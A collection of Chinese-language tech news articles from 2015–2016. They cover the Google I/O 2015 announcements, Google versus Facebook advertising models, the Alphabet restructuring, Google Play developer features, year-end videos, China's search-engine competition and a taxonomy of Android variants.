以往的 APP 调用浏览器，要么是和微信一样，调用内置浏览器，要么是调用系统浏览器，要么是使用软件提供的可能连后退按键都没有的浏览器。为了解决这个问题，Google 提供了一个解决方案：Chrome Custom Tabs。这个解决方案解决了第三方 APP 调用浏览器的体验问题，例如缓存和预加载（preload certain elements），同时顺带解决了第三方 APP 自带浏览器无法自动填充密码的问题。

APP 链接（APP LINKS）

APP LINKS 不是 Google 的原创，而是 Facebook 提出的协议。
在本次大会中现场演示了这个协议：点击电子邮件中的 Twitter 链接，会自动调用 Twitter 应用。

电池使用优化以及 USB-C

上次的 Android L 也是在致力于解决耗电问题，本次发布的 Android M 同样不例外。在这次的大会中，Google 公布了一项名叫 Doze 的省电技术。通过对消息的分级和运动检测等，电源管理更加智能。同样是待机模式下的 Nexus 9，Android M 比 Android L 待机时间长两倍。

本次发布的 Android M 同样支持 USB Type-C。

更加智能的 Google Now

Google Now 的目标就是在整个系统中实现完全智能。
本次发布可一个全新的功能：Now on Tap。
当收到一封关于看电影的邮件邀约时，长按 Home键，手机会自动在日历中记录看电影电影时间、电影名称，甚至会自动跳出 Youtube 的电影预告片、电影评级以及其他相关信息。
同时，在使用 Spotify 听 Skrillex 的歌的可以直接问“他是的原名是什么”，而不用加上艺名：“Skrillex 的原名是什么”。

新的图片应用以及免费在线存储空间

当然了，国内是享用不到在线空间了，不过简单介绍一下：

如果你喜欢在手机里存上千张图片，那么这个新应用可能正符合你的需求。
新的图片应用可以按照时间自动整理图片，但是同时自动识别图片并给图片加上标签信息，例如：“海滩”，“羊驼”。同时，Google Photos 是一个跨平台的应用，可以很方便地在不同设备上共享照片。

它可以将用户拍照后的照片自动分类并进行归纳整理，通过时间或者图像识别人物关系的紧密程度对照片进行分类保存。同时这是一个跨平台的应用，并且完全免费，用户可以随时随地不受限制的上传自己的照片以及视频到云端，并通过Google Photos在不同的设备上实现照片共享。。

同时，也提供了新的分享界面。

离线地图和针对中国网络的优化

本次大会并没有提到中国的手机网络，而是提到了发展中国家。很多发展中国家网络条件并不太乐观，存在数据流量费用高、网络速度慢等问题。Android 中的 Chrome 将会通过智能算法减少下载图片，并且提供离线页面的功能。
同时，Google 地图也会提供离线功能。当然，离线的 Google 地图仍然可以使用搜索，地区点评以及语音导航功能。

Android everywhere

Android 并不仅仅可以做成手机，也可以做成手环，做成智能家居，做智能支付等等等等。

Android Wear

Android Wear 上次便已发布，本次 Android Wear 的手机系统除了为了载入应用而进行重新设计启动器外，更是增加了几个重量级的 APP，包括快捷 Uber 打车功能等。全新的 Android Wear 拥有更加智能化的操作方式和更加智能的休眠管理功能。同样也有很多细节更新，例如 emoji 表情自动识别和转换。

Brillo

基于 Android 开发，Brillo 是谷歌专为物联网平台打造的底层操作系统。Brillo 可以得到蓝牙、WiFi 等技术支持，能耗低，安全系数高。
Weave 可以让物联网设备之间进行交流。它具有跨平台、API 开放等特性。锁门的时候，Weave 能够帮助家中的灯泡、空调等设备自动感知并关闭掉电源。

Android 支付

Android 支付是一个开放性平台，支持 4.4 （KitKat）以后系统的 NFC 设备，同样支持应用支付。用户就可以选择谷歌的服务或者使用银行的 APP。同时为了支付安全性，Google会开发官方的指纹识别功能。

HBO NOW

HBO NOW 是 Google TV 应用，然而和国内关系并，甚至可以说是并没有什么卵用。HBO 是一个可以在 Android 上看电视的应用，然而，因为有过 HBO警告美国境外付费收看HBO Now客户的事情，所以不要期待太多。

虚拟现实

上次的大会，谷歌就为每个在场的用户提供了一个 Cardboard，本次大会，Google 更是带来了更多炫酷的功能。

兼容 iPhone 的 Google Cardboard

最近的手机越做越大，于是 Google 也提供了最大达六英寸的 Cardboard，同样提供了 iPhone 版，也正在开发支持 Android iOS 双系统的 SDK。Android 上已经有 Cardboard（谷歌纸盒）可以尝鲜。

Cardboard 非常便宜，国外价格不到十美元，但是……
希望大家不要盲目相信美国物价表。

另外，编者提醒大家，大部分手机即便是将背景光调到最弱，在黑暗的环境中仍然刺眼，Google Cardboard 又是把手机放到眼睛前不到十厘米的位置，所以目前大家一定要注意避免长时间使用。

虚拟现实相机

为了让每个人都可以制作自己的虚拟现实情景，Google 推出了 Jump 拍摄工具。 GoPro 已经加入这个项目。通过 GoPro 定制的相机拍摄的图片，经过 Jump 处理后，会生成非常逼真的虚拟现实情景。据介绍，今年夏天开始，Google 将会挑选实验者体验 Jump。

图片来自 163、sohu 和 TNW news。
部分内容来自 The 12 most important announcements from Google I/O 2015

Google和Facebook，哪一个代表的是广告业的未来？

Wed, 28 Sep 2016 16:11:44 CST

“Facebook 认为，对于确保广告有效性，最重要的是用户身份。这是效果的关键 ……他们知道你是谁，了解你的很多事情。Google 认为，身份次于意图。重要的是你现在想要什么，因为做广告的产品和服务是用来满足愿望或需求的。”

来源：好奇心日报作者：董芷菲

你可能会有类似的体验：当你在搜索引擎或是电商的搜索栏搜过“铸铁锅”之后的几天，你打开很多网页都会看到有关铸铁锅的广告，极有可能频繁出现在你面前的就是你已经下单并买好的那一款；而当你在社交平台对一个汽车广告点赞之后，之后在你的信息流中很可能会出现度假村的广告，而不是更多的汽车广告。

后者正是 Facebook 一直以来所兜售的，不同于 Google 搜索推荐的广告机制。

它们背后有各自的算法，这也是数据在广告业如今变得越来越重要的原因。Google、Facebook、包括中国的 BAT 在内的这些科技巨头，让整个广告业都进入到了算法驱动的时代。算法决定了你到底会看到什么样的广告内容，或者是产品，尽管你可能对此并无察觉。

Google 和 Facebook 尤其值得一说的原因在于，如果从收入来看，它们都是名副其实的广告公司——Alphabet 89% 的营收都来自 Google 广告，Facebook 几乎全部收入都来自广告，高达 96.9%。目前全球市值前 10 公司中，它们分别排在第二和第四。

而在被普遍认为更具潜力的移动广告市场，根据研究机构 eMarketer 的数据，两者占据了超过一半的市场份额。

它们分别制定了搜索和社交广告的游戏规则。都拥有庞大的用户，数据丰富，而且可以做到精准营销，并根据广告效果付费。

但根本性的不同——也是不同广告机制的基础——在于所掌握的用户信息。

Facebook 界面，中间为信息流广告（标注了“Sponsored”），右侧为展示广告（Display Ads）

Google 的推荐系统基于你的搜索行为，这包括搜索历史记录、地图路线、gmail 邮件往来对象等；Facebook 获取的是你的社交信息。除了注册时填写的默认的居住地、性别、职业、单身还是已婚等一系列个人信息之外，你在这个平台点的每一个赞，和好友的每一次互动都被记录了。

换句话说，当你有了意图之后，Google 才会收集信息，它推测的是“你想要干什么”。Facebook 在收集信息上可能更“主动”，它猜测的是“你是谁”。

不过这都是他们在笼络广告客户时所宣称的目标消费者“相关性”。

按照宏盟集团旗下媒介机构 OMD 的首席数字官 Ben Winkler 的话说：“Facebook 认为，对于确保广告有效性，最重要的是用户身份。这是效果的关键 ……他们知道你是谁，了解你的很多事情。Google 认为，身份次于意图。重要的是你现在想要什么，因为做广告的产品和服务是用来满足愿望或需求的。”

对于广告主来说，他们的作用各不相同。WPP 旗下媒介代理机构群邑（GroupM）的全球首席数字官 Rob Norman 这样向《好奇心日报》解释：“Google 搜索是让有消费意图的消费者找到你，Facebook 是让你找到你想要的消费者。”

两者似乎都不可或缺。而事实上，Google 一直有数据营销之王的地位，直到被 Facebook 所挑战。

2015 年 Google 在全球移动广告市场份额占比 33.7%，Facebook 为 17.4%。但在 2012 年，Google 在这个市场的占有率还高达 52.3%，Facebook 仅为 5.3%。这一年半以来 Facebook 的广告收入一直以 40% 以上的增速奔跑。

套用广告业所信奉的“消费者在哪里，钱就会流向哪里”的原则，这背后其实是消费者时间和注意力的竞赛。

人们在智能手机上花的时间越来越长了。根据凯鹏华盈（KPCB）《2016 互联网趋势报告》，美国人每天花在手机端的时间为 2.8 小时，其中 90% 的时间是花在 App 上，只有 10% 的时间在用浏览器。

而在美国 App store 排名前十的应用中，有 3 个是 Facebook（Facebook Messenger、Instagram 和 Facebook）的，两个属于 Alphabet（YouTube 和 Google Maps）。在研究公司 comScore 的报告里，美国用户平均每天在 Facebook 上花费 35 分钟的时间——在各类平台中所占时间排名第一，超过了 Alphabet 的 YouTube （17 分钟时间）。

你可以看到 Facebook 目前在移动端的优势，分享性、互动性等都让它越来越受广告主青睐。这几年 Facebook 猛增的广告收入就是由移动端带来的。2015 年 Google 来自移动端广告的收入占总广告收入的 50% 左右。Facebook 的这个数据为 77%，今年第二季度已经提升到了 84%。

对于 Google 来说，一个更具威胁性的信号是，它的广告单价在下降，而 Facebook 的广告平均价格一直在上升。

这里面有相比 Google 来说，Facebook 是一个更新的平台的原因。更重要的，就如同凯洛英国数据总监 Peter Metcalfe 邮件回复给《好奇心日报》所说的，“Facebook 的广告产品发展得特别快，新的广告形式为它带来了很多机会。”

Facebook 在广告产品上的动作，可以说是激进。仅仅在过去 3 个月，它推出了一项基于位置的服务，监测消费者在接触到品牌在 Facebook 投放的广告后是否进店购物的 Shop Visits；在聊天 App Messenger 中增加服务于进驻商家的“buy now”按钮；以及更改推荐算法，上线一款名为“应用事件优化” 的产品，希望能够更精确地进行移动应用广告推送。

应用安装广告对 Facebook 来说至关重要。根据花旗集团在本月初发布的分析，2015 年，移动端应用安装广告为 Facebook 贡献了 29 亿美元的收入，而整个美国移动端应用安装广告市场乐观估计也就是 46 亿美元。

“但 Facebook 的广告主类型最近几年变化很大，一开始主要是小型公司，”Peter 说，“不过现在，从我们的内部数据来看，Paid Social（社交付费广告）是发展最快的，越来越多的大广告主加入其中，他们的预算都很大。” Facebook 的确也做了不少笼络大客户的事，比如为品牌专门推出定制广告，沃尔玛和三星都使用过这种服务。

Google 实际上也在不断推出新的广告产品或者功能。比如在地图产品推出推广图钉（promoted pins），商家可以让自己的 Logo 露出在地图上；还推出了 Shop the Look 的功能，让消费者能直接在搜索结果里购物。另外，推出让消费者在移动广告试用 60 秒再决定是否应用的“试用广告”和把广告做成交互网页的“交互界面广告”。包括最近完善了一个测试 YouTube 广告效果的产品 Brand Lift。

尽管它们都做出了不少看上去想要抢占对方市场的努力，比如 Facebook 导向购买转化，YouTube 试图吸引更多品牌广告。但 Facebook 还是被认为更适合做品牌广告，而 Google 更适合做直效广告。

注：Experian 为信息公司，IAC 为媒体。Bankrate 为个人金融公司

这点从它们各自的大客户也能看出来，包括宝洁、联合利华和雀巢在内的快消品公司更偏向于在 Facebook 上打广告。追求订单转化的线上旅游公司 Priceline 和 Expedia 都把更多的钱投给了 Google。

在 Peter Metcalfe 看来，“Google 广告是来引导转化的，它在销售漏斗的终级阶段上（面向那些已经产生了偏好，甚至是马上准备购买的消费者）”。相比之下，“Facebook 能在一些更自然更原生的环境中，以有创造力的方式如视频，瞄准（和击中）销售漏斗中偏上端（初级的）（即对品牌和产品还在认知和意见形成阶段）的消费者。”

不过情况正在发生变化，线上旅行公司 Priceline 最近就改主意了。它一改“Facebook 广告是种浪费”的口径，宣布要加重对 Facebook 的广告投入。而这之前它 90% 左右的广告预算都是投给 Google。他们号称选择这么做是因为预期以 Google 为主的搜索引擎广告的回报率会降低。

“Priceline 之前在抓住消费意图这一点上做得已经很好了，现在他们需要在 Facebook 上让潜在消费者考虑他们。”以后我们可能会看到更多 Priceline 在 Facebook 上描绘旅行目的地各种奇遇的广告；或者是 Bookings 告诉你某个小型酒店是多么舒适温馨，而非 Google 搜索里的“通过我们预定快速而便捷，没有取消费，现在注册送 50 美元代金券”这样的信息了。

另一边，宝洁最近调整在 Facebook 上精准广告花费的打算也引起了议论。Rob Norman 对此的看法是，“我不认为宝洁会减少在 Facebook 上的预算，不过肯定会发展（针对不同人群的）更多的不同版本的创意内容。让算法告诉他们哪些版本的创意适合哪些潜在消费者，这跟针对不同人群做不同广告是不一样的。”

Peter Metcalfe 一直强调“这两个平台对于广告主来说是互补的。根据我们之前的研究，从 Facebook 上接触到广告曝光，然后转化成 Google 搜索最后完成购买，是很常见的。要达到最好的广告效果，我觉得需要把二者结合。”

听上去他们都不偏袒任何一方。但事实上广告代理公司看待这些科技巨头的态度是有些微妙的。最初科技巨头跳过代理公司直接去寻找广告主，他们甚至都不需要主动寻找，任何一个广告主都可以在 Google 或是 Facebook 的自动化广告系统里根据自己的预算，自己设定广告投放。这对代理公司来说，成为了一种威胁。

此前广告公司像是有点自我安慰地宣称两者都是合作伙伴，但事实上不管是广告公司现在对于数据的依赖，还是渠道的依赖，它们都只能跟随。当然，Google 和 Facebook 后来也意识到和广告代理公司合作的好处——它们手中都握有大客户。

“阅后即焚”的 Snapchat 推出了滤镜，受到广告主青睐

WPP 集团的首席执行官苏铭天（Martin Sorrell）总是言辞犀利，他曾表示希望收购了雅虎后的 AOL 或者 Snapchat 能成为 Facebook 和 Google 双寡头之外的第三极力量。不过即便如此，正如我们在之前的文章中分析的，目前还是很难改变广告公司在技术、渠道和受众洞察中的被动地位。

而对于 Google 和 Facebook 来说，谁都不想成为在广告主口中的“补充”角色。尽管他们口中总是会说两者都需要，但多多少少都会倾向于一方。不然哪儿来的 Google 和 Facebook 在移动广告市场里的此消彼长。

感受到更大压力的一定是 Google，它计划在未来几个月推出一个跨设备的营销工具，帮助品牌在不同的设备、网站、应用上能够到达同一批受众，以此来规定一个用户会看到一个广告多少次。“比如说你是零售商，想要为即将到来的万圣节购物打广告。你可以在早上通勤的时间通过移动端广告到达消费者。然后晚上，他们在家用平板的时候再弹出一个推送。” Google展示和视频广告副主席 Brad Bender 最近接受采访时称。

一家叫 Thinkbox 的研究公司的总监 Matt Hill 就对此持怀疑态度，“Google 过于强调最后一环的点击，广告主需要明白所有的媒体曝光都会贡献到最后点击。”他保持怀疑的另外最重要的原因是这不是通过第三方独立机构做的。

Facebook 还因为此最近闹出了一则丑闻。根据《华尔街日报》报道，今年 8 月下旬，广告代理商阳狮媒体给客户们发了一封信：用户平均观看视频时间早先被 Facebook 自己高估计算了 60% 到 80%。而广告主们要对 Facebook 平台上全球每天 16 多亿用户的每一次观看付费，这意味着他们多花了不少钱。

科技公司不允许第三方进入广告后台亲自监测数据。广告代理公司只能看到曝光率、转化率和预算花费这些简单的数字。Google 和 Facebook 都是如此。

“Facebook 和 Google 之间的选择，实际上不是偏好问题，而是哪个平台能完成哪个需求的问题。”这话没错，但天平最终总是会倾向一端。

eMarketer 预计到 2017 年，Facebook 在移动广告市场的份额将达到 20%，Google 可能会进一步压缩到 31.7%。

但是，谁晓得会不会有另外一个颠覆性创新出现，直接干掉了两者？

Google的现在和未来，就此一分为二

Tue, 11 Aug 2015 11:39:43 CST

你已经从铺天盖地的速报中得知了这个消息：

Google本身将瘦身到只保留部分核心业务，变成新成立的控股公司Alphabet（字面翻译：字母表，从A－Z）的全资子公司；仅次于两名创始人的实权人物桑达尔·皮猜（Sundar Pichai）将担任新Google公司CEO。

除了现金牛Google之外，Alphabet旗下的子公司还将包括：1）Google过去收购或控股的一些公司，比如智能家居Nest、医药科技Calico、风投基金Google Venture；2）Google内部创业或实验室扶植出的一些尖端科研项目，比如固网光纤服务Google Fiber、[x]实验室等等。

你能很清楚的看懂这个安排。Alphabet其实由两个大的部分组成： Google的现在，和 Google的未来。

硅谷科技公司一直代表着科技的前沿，他们总是能够异想天开，发明新的技术，推出各种一开始让人感觉奇怪，但随后展露出市场潜质的全新形态的产品。Google、微软、雅虎等上市大公司也不例外，但这些大公司都有一个通病——研发部门重度依赖巨大的资金投入，但结果产出、投放到市场和商用环境的效率却不够高。

今年7月，Google公布了截止至6月30日的第二季度财报，核心搜索业务、移动、YouTube和可编程广告业务的稳健表现带来了177亿美元营收，同比增长11%，净利润达到了39.31亿美元，同比增长17％。CFO露丝·波拉特（Ruth Porat）表示：

我们每天都致力于在广泛商业领域内发展出新的机遇。我们将会在谨慎分配资源的前提下继续坚持下去。

Google CFO的这句话非常清楚地显示出了Google现在面临的增长问题。很显然，智能家庭、Android One、无人驾驶汽车、机器人、生物科技等尖端科研项目才是Google的明日之星。尽管财报上的数字一片大好，但将收入过多投入到那些需要10年甚至15年才能商用的前沿技术，势必将影响投资者信心。因为公司已经整体上市，需要对公开市场上的财务投资人负责，意味着过去的现金牛不应该受到新科研的太大影响。没有互联网业务的营收，支持不了Google内部多达数十个充满未来属性的内部创新项目——它们烧起钱来不比任何一家独角兽级的初创公司慢。

结果我们也看到了： 一个急于领导新科技发展的Google，却甩不掉旧的包袱。

高管层期待这次重组会给Google一个新的机会。这让我我不由得想起了陈升的一首歌：

把我的悲伤留给自己，你的美丽让你带走……

根据安排，Google之前拆股后的两支股票，将继续以GOOGL和GOOG的代码在纳市上交易，但在未来的某一天，这些股票对应的上市实体将会从现在的Google替换为控股公司Alphabet。目前我们尚无法判断，Google创始人拆分公司、甩掉包袱的决定是否会对公司带来正向作用，但从过往雅虎、eBay的经验来看，这个方法应该是可行的。激进投资者（activist investor，亦译作维权投资者）经常会在投资的公司面临增长压力时增持股票加强董事会投票权，然后要求公司管理层将高价值或核心业务剥离出去。

Google将重组的消息公布后，纳市流通的A类股和C类股均在盘后（消息公布后）上涨了超过6个百分点。投资者买账，在一定程度上证明了这个决定的正确性。

风投基金Andreessen Horowitz的知名分析师Benedict Evans对Google的重组决定表达了肯定的观点：

Instead of parking the future in a lab off in a building somewhere, Google split the whole company structure in two: current and the future.

与其把公司的未来交给园区某个小楼里的实验室（指Google[x]），Google干脆把整个公司一分为二：现在和未来。

Google无人驾驶汽车

如果你稍微研究下新成立的Alphabet旗下的投资组合，也会觉得Google创始人这盘财务决策上的大棋玩的挺有意思。这家新公司即将成为全世界投资了最多研究最尖端科技公司，外加控股了全世界第一大搜索引擎和互联网广告公司的控股集团。对此，创新工场投资总监张亮给出了一个非常精确的评价：

Alphabet完全是科技领域的Berkshire Hathaway啊。

伯克希尔·哈撒韦是著名富豪和投资奇才沃伦·巴菲特控制的世界知名投资公司，投资了几乎全世界最优秀的、增长最优秀的公司——巧合的是，去年年底时，Google联合创始人拉里·佩奇也曾表达过想做科技界巴菲特的想法。

现在Google在公开市场上的投资者，在未来可能要转换一下思路：它们持有的股票价格的标尺，将不再是每个季度财报中广告收入那一项；在未来，它们投资的是正在试图打造一家未来科技公司的企业，从某种层面上来讲跟特斯拉有点像，烧着大量的钱，赌一个未来。

Twitter网友@blairology用一句双关语巧妙总结了Alphabet公司的实质：

Using Google profits to make an alphabet of alpha bets on the future.

（把Alphabet拆开：alpha——较早期的测试版本，指Google的前沿项目；bet——赌注）

在成立的第17个年头，陷入了主营业务增长陷阱的Google能否依靠一个壮士断腕般疯狂的决定重获新生？接下来Alphabet和Google又该怎样前进？

恐怕除了一手让濒临倒闭的伯克希尔·哈撒韦变成全世界投资回报率最高投资公司的沃伦·巴菲特本人之外，没人知道答案。

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为什么你不应该错过 Google Play？看完这些你就明白了

Sun, 18 Oct 2015 10:47:11 CST

无论对于用户还是开发者来说，Google Play 都正在变得离大家越来越近。当这款产品真正到来时，它不仅将给 Android 用户带来不少便利，更将改变开发者测试产品、分发产品以及运营产品的模式。

10 月 16 号， Google Play 中国商业拓展负责人赵伊江在上海向几百位开发者分享了一些使用 Google Play 的技巧，如果你是一位此前还没和 Google Play 打过交道的开发、运营人员，那么这些功能或将改变你对应用商店的看法。

Google Play 在应用开发测试方面可以提供的帮助

对于开发人员来说，即便你的应用尚处在测试阶段，Google Play 一样可以提供一定的帮助。比如：

Google Play Beta Testing Basics 可以让你向有限度的人发布自己的应用，参与测试用户发布的评论将不会公开显示，开发人员也可以通过 Google 群组接收用户反馈。

New Beta Options 功能可以为参与测试的 app 生成一个链接，然后开发者只要把这个链接分享出去，任何点击这个链接的人都将可以参与到测试中。这样以来，开发人员都不会再需要收集测试者的邮箱了，整个过程更便捷。

Staged Roolout 功能让开发人员可以分阶段发布自己的 app，比如先选择让 1% 的用户可以接受更新，等看用户反馈没什么大问题时，再把更新推送给更多的人。据我所知，Google 自己的 app 在发布时往往也会用到这个功能。

除了这些之外，由于 Android 机型规格多种多样，所以开发者可能都为应用适配问题操碎了心。为了解决这个问题，Google 也推出了云端测试项目让开发人员直接在后台上传应用就可以分析在哪些机型上容易崩溃。

Google Play 在用户获取方面可以提供的帮助

应用开发完毕后，当然该考虑如何获得新用户了，在这方面，Google Play 一样提供了不少贴心的功能，比如：

Store Listing Pages：在 Google Play 的应用展示页面上，应用的图标、短介绍、截屏和视频这四个元素毫无疑问是最重要的。那么当开发者想知道哪个元素最能吸引用户下载时，自然需要测试。Google Play 目前让开发者可以同时测试 4 个图标，然后为每个图标分配不同的流量来追踪效果。这样以来，先前需要 4 天才能完成的任务，现在一天或许就能完成了。

Developer Homepage：如果你的公司在 Google Play 有好几款应用，那么自定义开发者页面这个功能应该对你挺有用。在这里，开发者可以自定义每款 app 的排序位置，可以把最想推广的 app 放在最优先的展示位置上。除此之外，自定义背景、图标、名字和公司介绍也都是 Developer Homepage 支持的功能。

Google Play 在用户留存方面可以提供的帮助

当一个新用户来了之后，恐怕没有哪个开发者会希望这个用户两周之后就成了所谓的僵尸用户，所以如何提高用户留存一样是个非常重要的话题。在这方面，Google Play 不但让开发者可以很容易地回复用户的反馈，还让用户能看到它们。在评论筛选方面，Google Play 同样做了不少工作，比如让开发者方便地找到某一类的评论。

对于游戏开发者来说，Play Games Services 中其实提供了非常丰富的功能，比如让新用户可以免注册，直接用 Google 账户登录游戏；在不同设备之间同步游戏进度等等。这些简化玩家使用步骤的功能，自然有望让用户更便捷地进入到游戏中。

在今年 5 月份，Google Play 亚太区工程副总裁 Chris Yerga 在谈到 Google Play 和那些应用发行渠道厂商的区别时就提到：Google 为开发人员提供的服务是贯穿应用开发的整个生命周期的。我想，看完这些 Google Play 的后台功能后，大家应该更理解 Chris Yerga 指的是什么了。

在文章的最后，我想说的是这篇文章的内容其实没法覆盖一场两个多小时演讲中的每一个细节。如果你想对 Google Play 有更多的了解、对 Google 的广告系统有更深刻的认识的话，接下来我们在北京、深圳、杭州、厦门还分别有四场同样主题的活动。无论你此前是否接触过 Google Play、是否使用过 Google 的广告产品，我想你在听完之后都将得到一些实质性的收获。

《移动应用出海 Google为你助力》

北京场报名地址 ：点击直达

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厦门场报名地址： 点击直达

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在三家互联网巨头的年终视频里，我们看到了怎样的2015？

Fri, 18 Dec 2015 09:33:36 CST

每到年底，YouTube 和 Google 都会发布总结过去一年的创意视频，而今年，Facebook 也加入了这一行列。一起通过他们的视野，重温这颗星球的2015年。

来源：睿士

Google：A Year in Search “2015年，我们提出的问题，反映了我们是怎样的人。”

在 Google 的年度视频里，他们用搜索框里出现的9个问题串联起了这一整年的热门事件。

Google 从来都不是一家苦大仇深的公司，但在纷扰不断的2015年，这个星球上发生过的苦难、灾祸和冲突依然在他们的年度回顾中占据了大量篇幅。

值得注意的是，Google 在呈现这些不快的事件时，所采取的都是“如何解决？我们能做什么？”的视角。这是一种十分积极而正面的态度，也是我们在面对此类事件是最应提倡的反应。作为一个为“解决问题”而存在的网站，Google 在这个短短的视频中作出了最好的示范。

当然，这一年的地球上不只有冲突，在很多争执已久的议题上，Google 的搜索框里都发生了积极的反馈。

比如在今年热议的女权问题上，有人向 Google 问了一个这样的问题 :为什么女性不能成为游骑兵?半年前，极具话题的变性勇士 Caitlyn Jenner 使更多人开始关注这个特殊的群体，于是有人开始在 Google 上提出这样的问题 :你是天生的跨性别人士吗？而这些话题归根结底，讨论的都是人类社会所固有的多样性。不同种族，不同宗教，不同性别取向的社群必然会有不同的观点和认知；就连一条裙子的颜色，也能引发一场互联网大战 :这条裙子是什么颜色？

Facebook：Year in Review

Google 的年度视频是他们的传统项目，Facebook 则是头一年做。作为一家社交网站，他们的年度盘点显得更为感性和情绪化。

与 Google 不同，在那些热门的公共事件上，Facebook 所关注的不是事后的答疑解惑，而是在事件发生的当下，用户通过发文、表情、评论和点赞所表达的最直接的情绪。

比如尼泊尔地震，在社交网络上，各国志愿者在灾区的援助行为才是最容易引起转发的“正能量”。而在查理周刊事件中，如火如荼的游行不止发生在巴黎街头，也出现在了每位 Facebook 用户的 timeline 上。同样在巴黎，不久前的恐怖袭击后，＃PrayforParis 和红白蓝三色在社交媒体上刷屏了数日。

但这一年的无数个悲情的告别中，最令 Facebook 用户心碎的还是 Jon Snow 的“横死”。但据可靠消息，这位《权力的游戏》中的人气王并没有死透。明年4月复活时，Facebook 上肯定又会热闹一阵子。

YouTube：Rewind 2015

视频做得最有诚意的其实还是 Youtube，他们找来100多位演员，把2015年所有的热门视频都统一风格翻拍了一遍。

比如火了一整年“百年时尚”系列，从100年来的妆容，到一百年来的发型、泳装、胡须，以及各种配饰，YouTube 用短短数秒将它们一网打尽。至于那条蓝黑／白金裙，YouTube 拍了一个今年最下成本的恶搞。如果你看过《疯狂麦克斯》，一定能认出这位吉他喷火的小哥。如果你对欧美这一年的娱乐事件足够了解，相信能在这个视频里找到更多彩蛋。

但怎么说呢，Youtube 这个年度视频的“观看门槛”其实还是有点高。与 Google 和 Facebook 注重情怀与时事不同，YouTube 这一次的年度回顾更多地是面向它的用户本身。如果你整天泡在 Youtube 上看热门视频，这个大混剪里的各种梗一定能让你如数家珍；反之，这一切就只是墙外的热闹而已。

互联网上的信息是速朽的，当我们现在聊起“查理周刊”之类的事件时，潜意识里会觉得那已经是多年前的旧闻了；而事实上，那不过才发生在2015年的年初。在这3支视频所回顾的那些事件中，你记得的有哪些？点过赞的又有哪些？

从腾讯、奇虎 360 到阿里巴巴，想抢百度搜索市场的它们最后都挤到了一条路上

Sat, 04 Jul 2015 16:46:22 CST

搜索市场是一块大蛋糕，而且有着成熟的商业模式，Google 每个季度 100 多亿美元的净利润大多数都来自搜索引擎这个印钞机。现在，由于 Google 在中国市场不给力，国内的搜索引擎市场基本是被百度垄断，但即便这样，还是有一些资源雄厚的大公司想把百度手里的这块大蛋糕切一块自己来享用。

2012 年，奇虎 360 的 360 搜索上线不久后就拿下了 10 % 的市场份额。这让自从 Google 退出中国后就活的比较安逸百度一下看到了危机感，以至于李彦宏都开始呼唤百度的企业文化应该有狼性。

不过，奇虎 360 掌握的渠道力量并不会因为李彦宏的呐喊就削弱。截至 2014 年 12 月，奇虎 360 安全浏览器的月度活跃用户人数有 3.61 亿，在奇虎 360 把这些安全浏览器的默认搜索引擎替换为自家的 360 搜索之后，如此庞大的用户基数自然也为 360 搜索带来了不少用户和流量。到了 2015 年初，按照奇虎 360 对外公布的数据，它们的搜索引擎已经占据了 30% 的搜索市场份额。

相比在 PC 端的成功，奇虎 360 在移动搜索方面的表现就乏善可陈了，其移动搜索技术负责人陈利人也在 2014 年 9 月离职。

没有奇虎 360 的威胁，百度在移动端也没能清净。2014 年 4 月，阿里巴巴一淘团队和 UC 合作创建的神马搜索几乎用着相同的方法——内置在 UC 浏览器中，迅速让百度感受到了威胁，以至于在神马搜索刚上线时，百度就开始引导通过神马搜索访问百度旗下内容的用户下载手机百度。

事实上，由于在 2014 年，百度的移动搜索流量有 10% 左右来自 UC 浏览器，而且此前这一部分流量曾一度达到 30%；所以百度恐怕是感觉和奇虎 360 在桌面端的竞争要在移动端重演了。

昨天，神马搜索总裁梁捷向媒体公布了一份数据，这份数据显示，在 2015 年 3 月份，神马搜索在中国移动搜索市场占了 13.35% 的份额，虽然这个数字和百度在移动端 79.61% 的占比有着很大的差距，但神马搜索也算占据了移动搜索第二的位置。

在神马上搜索“高考”看到的将是一个类似 app 的界面

梁捷在接受采访时和媒体分享了神马搜索多种新的尝试，比如在搜索结果中以 app 的形式为用户提供新的交互体验、向用户提供服务而不是信息等等，但真正能给神马带流量和用户的恐怕还是和手机厂商之间的合作，而不是这些产品上的微创新。所以，在神马发出的新闻稿中，他们把和小米、魅族、华为等多家手机厂商达成了合作看着是更重要的事。魅族 MX5、小米 Note、华为 P8 这些热门机型都将神马作为内置的默认搜索引擎。到头来，神马想从百度手里分蛋糕想的还是占据渠道优势。

现在，UC 浏览器仍然是神马搜索最大的流量来源，其次是外部渠道厂商和网络联盟。至于每一方为神马带的流量比例，梁捷并不愿意透露。对于想依靠渠道从百度手里分蛋糕的神马来说，这种方式能不能奏效，其实还不好说，因为从历史上看，这既有成功的先例，也有失败的案例。

所谓成功的先例，自然就是指奇虎 360 了，通过 360 安全浏览器以及网址导航，好搜确实在 PC 端占据了不少市场份额。所谓失败的案例指的是搜搜，在搜搜和搜狗合并后，腾讯也曾把市场份额第一的 QQ 浏览器的默认搜索改成搜狗，但超过一半的用户仍然会把搜狗换回百度，所以渠道也不是每一次都凑效。

看来，除了 Google，百度的这些后来的竞争对手们是找不出什么高明的方法来分吃搜索这块大蛋糕了，最后大家都挤到了拼渠道这一条路上。

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Android 分类法：六个类型，八种用户

Wed, 18 Mar 2015 23:30:30 CST

Android 是一个如此丰富而且复杂的生态圈，以至于人们谈论它的时候，常常讲述的是不同的东西。在个人博客上，风险投资公司安德森-霍洛维茨基金合伙人、科技博客作者 Benedict Evans 分析了不同类型的 Android，并且对 Android 用户进行了归类。

他认为，市场上的 Android 可以分为六类：

1、“原生” Android。只出现在 Google 的 Nexus 设备上，完整的 Google 服务，销量很少。
2、三星、索尼、LG 等厂商的“定制”Android。完整的 Google 服务。改动上没有什么亮点，不过经过 Google 许可。
3、“AOSP” 或者开源的 Android。在中国市场上，可以看到与 2 中提到的手机，但是去除了 Google 服务。
4、小米及其追随者的“定制”Android。这些手机在国外也有用户。在中国，它去掉了 Google 服务，但是在其它地方却是包含 Google 服务的。
5、第三方的 ROM，比如小米的 MIUI 和 CyanogenMod。它们可能包括 Google 服务，也可能没有。由于对系统进行了优化和改进，赢得了一些用户。
6、Android 分支。比如亚马逊的 Fire 手机。这是对 Android 进行了重度修改，做出了完全不同的体验，因此，Google 拒绝其运行 Google 服务。小米和 Cyanogen 都不是分支。

